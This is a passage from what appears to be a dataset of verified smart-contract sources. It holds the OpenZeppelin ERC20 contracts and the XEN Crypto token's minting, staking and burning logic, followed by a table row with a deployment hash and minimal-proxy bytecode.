"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 19,494,966 | b37f45003d88fd698c750f7744bd31028442086a16a43a4f4df8e8d418929377 | 95f006a459224e88a8f73755ab7bc49de3dbf196b2834c3be19f2653c4c3b3ea | 515b52b8170b1dcd20242b369a674a8dad27407f | 0a252663dbcc0b073063d6420a40319e438cfa59 | 8b7b5228c0b1bf79c1ab19ebfceb17eee4ae340d | 3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
